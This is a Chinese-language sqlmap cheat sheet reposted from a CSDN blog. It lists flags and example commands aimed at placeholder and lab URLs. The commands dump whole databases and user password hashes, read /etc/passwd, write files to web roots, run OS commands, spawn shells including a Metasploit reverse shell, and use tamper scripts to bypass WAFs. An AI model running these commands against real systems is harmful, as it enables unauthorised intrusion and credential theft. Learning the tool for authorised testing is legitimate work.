收集的一些技巧資源來之互聯網
-u #注入點
-f #指紋判別數據庫類型
-b #獲取數據庫版本信息
-p #指定可測試的參數(?page=1&id=2 -p “page,id”)
-D “” #指定數據庫名
-T “” #指定表名
-C “” #指定字段
-s “” #保存注入過程到一個文件,還可中斷，下次恢復在注入(保存：-s “xx.log” 恢復:-s “xx.log” –resume)
–columns #列出字段
–current-user #獲取當前用戶名稱
–current-db #獲取當前數據庫名稱
–users #列數據庫所有用戶
–passwords #數據庫用戶所有密碼
–privileges #查看用戶權限(–privileges -U root)
-U #指定數據庫用戶
–dbs #列出所有數據庫
–tables -D “” #列出指定數據庫中的表
–columns -T “user” -D “mysql” #列出mysql數據庫中的user表的所有字段
–dump-all #列出所有數據庫所有表
–exclude-sysdbs #只列出用戶自己新建的數據庫和表
–dump -T “” -D “” -C “” #列出指定數據庫的表的字段的數據(–dump -T users -D master -C surname)
–dump -T “” -D “” –start 2 –top 4 # 列出指定數據庫的表的2-4字段的數據
–dbms #指定數據庫(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)
–os #指定系統(Linux,Windows)
-v #詳細的等級(0-6)
0：只顯示Python的回溯，錯誤和關鍵消息。
1：顯示信息和警告消息。
2：顯示調試消息。
3：有效載荷注入。
4：顯示HTTP請求。
5：顯示HTTP響應頭。
6：顯示HTTP響應頁面的內容
–privileges #查看權限
–is-dba #是否是數據庫管理員
–roles #枚舉數據庫用戶角色
–udf-inject #導入用戶自定義函數（獲取系統權限）
–union-check #是否支持union 注入
–union-cols #union 查詢表記錄
–union-test #union 語句測試
–union-use #采用union 注入
–union-tech orderby #union配合order by
–method “POST” –data “” #POST方式提交數據(–method “POST” –data “page=1&id=2″)
–cookie “用;號分開” #cookie注入(–cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)
–referer “” #使用referer欺騙(–referer “http://www.baidu.com”)
–user-agent “” #自定義user-agent
–proxy “http://127.0.0.1:8118″ #代理注入
–string “” #指定關鍵詞
–threads #采用多線程(–threads 3)
–sql-shell #執行指定sql命令
–sql-query #執行指定的sql語句(–sql-query “SELECT password FROM mysql.user WHERE user = ‘root’ LIMIT 0, 1″ )
–file-read #讀取指定文件
–file-write #寫入本地文件(–file-write /test/test.txt –file-dest /var/www/html/1.txt;將本地的test.txt文件寫入到目標的1.txt)
–file-dest #要寫入的文件絕對路徑
–os-cmd=id #執行系統命令
–os-shell #系統交互shell
–os-pwn #反彈shell(–os-pwn –msf-path=/opt/framework/msf3/)
–msf-path= #matesploit絕對路徑(–msf-path=/opt/framework/msf3/)
–os-smbrelay #
–os-bof #
–reg-read #讀取win系統注冊表
–priv-esc #
–time-sec= #延遲設置 默認–time-sec=5 為5秒
-p “user-agent” –user-agent “sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)” #指定user-agent注入
–eta #盲注
/pentest/database/sqlmap/txt/
common-columns.txt 字段字典
common-outputs.txt
common-tables.txt 表字典
keywords.txt
oracle-default-passwords.txt
user-agents.txt
wordlist.txt
常用語句
1.
./sqlmap.py -u url test.php?p=2 -f -b –current-user –current-db –users –passwords –dbs -v 0
2.
./sqlmap.py -u url test.php?p=2 -b –passwords -U root –union-use -v 2
3.
./sqlmap.py -u url test.php?p=2 -b –dump -T users -C username -D userdb –start 2 –stop 3 -v 2
4.
./sqlmap.py -u url test.php?p=2 -b –dump -C “user,pass” -v 1 –exclude-sysdbs
5.
./sqlmap.py -u url test.php?p=2 -b –sql-shell -v 2
6.
./sqlmap.py -u url test.php?p=2 -b –file-read “c:\boot.ini” -v 2
7.
./sqlmap.py -u url test.php?p=2 -b –file-write /test/test.txt –file-dest /var/www/html/1.txt -v 2
8.
./sqlmap.py -u url test.php?p=2 -b –os-cmd “id” -v 1
9.
./sqlmap.py -u url test.php?p=2 -b –os-shell –union-use -v 2
10.
./sqlmap.py -u url test.php?p=2 -b –os-pwn –msf-path=/opt/framework/msf3 –priv-esc -v 1
11.
./sqlmap.py -u url test.php?p=2 -b –os-pwn –msf-path=/opt/framework/msf3 -v 1
12.
./sqlmap.py -u url test.php?p=2 -b –os-bof –msf-path=/opt/framework/msf3 -v 1
13.
./sqlmap.py -u url test.php?p=2 –reg-add –reg-key=”HKEY_LOCAL_NACHINE\SOFEWARE\sqlmap” –reg-value=Test –reg-type=REG_SZ –reg-data=1
14.
./sqlmap.py -u url test.php?p=2 -b –eta
15.
./sqlmap.py -u “url sqlmap/mysql/get_str_brackets.php?id=1″ -p id –prefix “‘)” –suffix “AND (‘abc’='abc”
16.
./sqlmap.py -u “url sqlmap/mysql/basic/get_int.php?id=1″ –auth-type Basic –auth-cred “testuser:testpass”
17.
./sqlmap.py -l burp.log –scope=”(www)?\.target\.(com|net|org)”
18.
./sqlmap.py -u “url sqlmap/mysql/get_int.php?id=1″ –tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
19.
./sqlmap.py -u “url sqlmap/mssql/get_int.php?id=1″ –sql-query “SELECT ‘foo’” -v 1
20.
./sqlmap.py -u “url mysql/get_int_4.php?id=1″ –common-tables -D testdb –banner
簡單的注入流程
1.讀取數據庫版本，當前用戶，當前數據庫
sqlmap -u url test.php?p=2 -f -b –current-user –current-db -v 1
2.判斷當前數據庫用戶權限
sqlmap -u url test.php?p=2 –privileges -U 用戶名 -v 1
sqlmap -u url test.php?p=2 –is-dba -U 用戶名 -v 1
3.讀取所有數據庫用戶或指定數據庫用戶的密碼
sqlmap -u url test.php?p=2 –users –passwords -v 2
sqlmap -u url test.php?p=2 –passwords -U root -v 2
4.獲取所有數據庫
sqlmap -u url test.php?p=2 –dbs -v 2
5.獲取指定數據庫中的所有表
sqlmap -u url test.php?p=2 –tables -D mysql -v 2
6.獲取指定數據庫名中指定表的字段
sqlmap -u url test.php?p=2 –columns -D mysql -T users -v 2
7.獲取指定數據庫名中指定表中指定字段的數據
sqlmap -u url test.php?p=2 –dump -D mysql -T users -C “username,password” -s “sqlnmapdb.log” -v 2
8.file-read讀取web文件
sqlmap -u url test.php?p=2 –file-read “/etc/passwd” -v 2
9.file-write寫入文件到web
sqlmap -u url test.php?p=2 –file-write /localhost/mm.php –file-dest /var/www/html/xx.php -v 2
1、實戰mssql
判斷注入類型 python sqlmap.py -u 注入點
判斷當前用戶是否是dba python sqlmap.py -u 注入點 --is-dba -v 1
列舉數據庫用戶 python sqlmap.py -u 注入點 --users -v 0
列舉數據庫密碼 python sqlmap.py -u 注入點 --passwords -v 0
查看用戶權限 python sqlmap.py -u 注入點 --privileges -v 0
執行命令 python sqlmap.py -u 注入點 --os-shell -os-cmd=net user
2、基本使用
執行SQL語句·python sqlmap.py -u 注入點 -v 1 --sql-shell
更詳細的信息 python sqlmap.py -u 注入點 -v 5
POST提交 python sqlmap.py -u 文件路徑 --method POST --data 參數
cookie提交 python sqlmap.py -u 文件路徑 --cookie 參數 -v 1
使用referer欺騙 python sqlmap.py -u 注入點 --referer referer地址 -v 3
自定義user-agent 或者使用隨機自帶的user-agents.txt
python sqlmap.py -u 注入點 --user-agent "自定義" -v 3
python sqlmap.py -u 注入點 -v 1 -a "./txt/user-agents.txt"
使用基本認證 python sqlmap.py -u 注入點 --auth-type Basic --auth-cred "testuser:testpass" -v 3
使用Digest認證 python sqlmap.py -u 注入點 --auth-type Digest --auth-cred "testuser:testpass" -v 3
使用代理,配合TOR python sqlmap.py -u 注入點 --proxy 代理ip
使用多線程猜解 python sqlmap.py -u 注入點 -v 1 --current-user --threads 3
繞過動態檢測,直接指定有注入點的參數,可以使用,分割多個參數,指定user-agent注入
頁面比較
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" --string "luther" -v 1
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" --regexp "<td>lu[\w][\w]er" -v
排除網站的內容
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" --excl-reg "Dynamic content: ([\d]+)"
多語句測試，php內嵌函數mysql_query(),不支持多語句
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --stacked-test -v 1
union注入測試
python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --union-test -v 1
unionz注入配合orderby
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1" --union-test --union-tech orderby -v 1
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 --union-use --banner
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 5 --union-use --current-user
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_partialunion.php?id=1" -v 1 --union-use --dbs
fingerprint
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 -f
python sqlmap.py -u "http://192.168.123.36/sqlmap/get_str.asp?name=luther" -v 1 -f -b
判斷當前用戶是否是dba
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --is-dba -v 1
列舉數據庫用戶
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --users -v 0
列舉數據庫用戶密碼
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --passwords -v 0
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --passwords -U sa -v 0
查看用戶權限
python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --privileges -v 0
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --privileges -U postgres -v 0
列數據庫
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dbs -v 0
列表的名字
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --tabless -D test -v 0
列出指定數據庫指定表的列名
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --columns -T users -D test -v 1
列出指定數據庫的指定表的指定列的內容
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dump -T users -D master -C surname -v 0
指定列的范圍從2－4
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump -T users -D test --start 2 --stop 4 -v 0
導出所有數據庫，所有表的內容
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump-all -v 0
只列出用戶自己新建的數據庫和表的內容
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dump-all --exclude-sysdbs -v 0
sql query
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-query "SELECT usename FROM pg_user" -v 0
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --sql-query "SELECT host, password FROM mysql.user LIMIT 1, 3" -v 1
SELECT usename, passwd FROM pg_shadow ORDER BY usename
保存和恢復會話
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b -v 1 -s "sqlmap.log"
保存選項到INC配置文件
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b -v 1 --save
mssql access 直接爆表
BT5里面的話前面就要加python
sqlmap.py -u url --dbs //爆數據庫
sqlmap.py -u url --current-db //爆當前庫
sqlmap.py -u url --current-user //爆當前用戶
sqlmap.py -u url --users 查看用戶權限
sqlmap.py -u url --tables -D 數據庫 //爆表段
sqlmap.py -u url --columns -T 表段 -D 數據庫 //爆字段
sqlmap.py -u url --dump -C 字段 -T 表段 -D 數據庫 //猜解
sqlmap.py -u url --dump --start=1 --stop=3 -C 字段 -T 表段 -D 數據庫 //猜解1到3的字段
倒著也可以
sqlmap.py -u url 判斷
sqlmap.py -u url --is-dba -v 這是判斷當前數據庫的使用者是否是dba
sqlmap.py -u url --users -v 0 這句的目的是列舉數據庫的用戶
sqlmap.py -u url --passwords -v 0 這句的目的是獲取數據庫用戶的密碼
sqlmap.py -u url --privileges -v 0 這是判斷當前的權限
sqlmap.py -u url --dbs -v 0 這句的目的是將所有的數據庫列出來
sqlmap.py -u url --tables -D '表' 爆表
sqlmap.py -u url --columns -T ‘表’-D ‘數據庫’爆列
sqlmap.py -u url --dump -T '表' --start 1 --stop 4 -v 0 這里是查詢第2到第4行的內
sqlmap.py -u url --dump -all -v 0
這兒我們將所有的庫導出來，我想這就是前段時間盛傳的脫褲吧，在執行這項操作的時候，會把所有的表里的內容導入到當前的一個目錄下，看着清楚明了，但是花費的時間和很長。
sqlmap -u "注入點" --users --password 爆用戶密碼
SQLMAP繞過WAF防火牆
注入點:http://192.168.159.1/news.php?id=1
sqlmap.py -u [url]http://192.168.159.1/news.php?id=1[/url] -v 3 --dbs --batch --tamper "space2morehash.py"
sqlmap.py -u [URL]--tamper=[插件路徑]
space2morehash.py中可以替換space2hash.py或者base64encode.py或者charencode.py
都是編碼方式
space2hash.py base64encode.py charencode.py
Kali下的sqlmap命令使用
sudo svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
安裝的位置為:/home/當前用戶/sqlmap-dev/sqlmap.py
直接執行 /home/當前用戶/sqlmap-dev/sqlmap.py --version
這樣很不方便 我們可以設置 .bashrc 文件
sudo vim /home/當前用戶/.bashrc
#任意位置加上：
alias sqlmap='python /home/seclab/sqlmap-dev/sqlmap.py'
該環境變量只對當前用戶有效
*******如果想對所有用戶有效 可設置全局 編輯下面的文件*******
vim /etc/profile
同樣加上：
alias sqlmap='python /home/seclab/sqlmap-dev/sqlmap.py'
*******************************************************************************************************
*******更詳細的信息*******
./sqlmap.py -u "URL" -v 5
*******指定數據庫,繞過SQLMAP的自動檢測*******
./sqlmap.py -u "URL" -v 2 --dbms "MySQL"
* MySQL
* Oracle
* PostgreSQL
* Microsoft SQL Server
*******指定操作系統,繞過SQLMAP自動檢測*******
./sqlmap.py -u "URL" -v 2 --os "Linux"
* Linux
* Windows
*******判斷當前用戶是否是dba*******
./sqlmap.py -u "URL" --is-dba -v 1
*******列舉數據庫用戶*******
./sqlmap.py -u "URL" --users -v 0
*******列舉數據庫用戶密碼*******
./sqlmap.py -u "URL" --passwords -v 0
./sqlmap.py -u "URL" --passwords -U sa -v 0
*******查看用戶權限*******
./sqlmap.py -u "URL" --privileges -v 0
./sqlmap.py -u "URL" --privileges -U postgres -v 0
*******數據庫*******
./sqlmap.py -u "URL" --dbs -v 0
*******選擇 -D 使用指定數據庫名稱*******
./sqlmap.py -u "URL" --tables -D "information_schema"
*******列出指定數據庫指定表的列名*******
./sqlmap.py -u "URL" --columns -T 表名 -D 數據庫名字 -v 1
*******列出指定數據庫的指定表的指定列的內容*******
./sqlmap.py -u "URL" --dump -T 表名 -D 指定庫 -C 列名 -v 0
*******指定庫的表段*******
./sqlmap.py -u "URL" -D 指定數據庫 --columns
*******脫指定庫*******
./sqlmap.py -u "URL" -D 指定數據庫 --dump -v 0
*******導出所有數據庫，所有表的內容*******
./sqlmap.py -u "URL" --dump-all -v 0
https://www.freebuf.com/sectool/164608.html
---------------------
作者：zhaji001
來源：CSDN
原文：https://blog.csdn.net/freegotocpp/article/details/85070348
版權聲明：本文為博主原創文章，轉載請附上博文鏈接！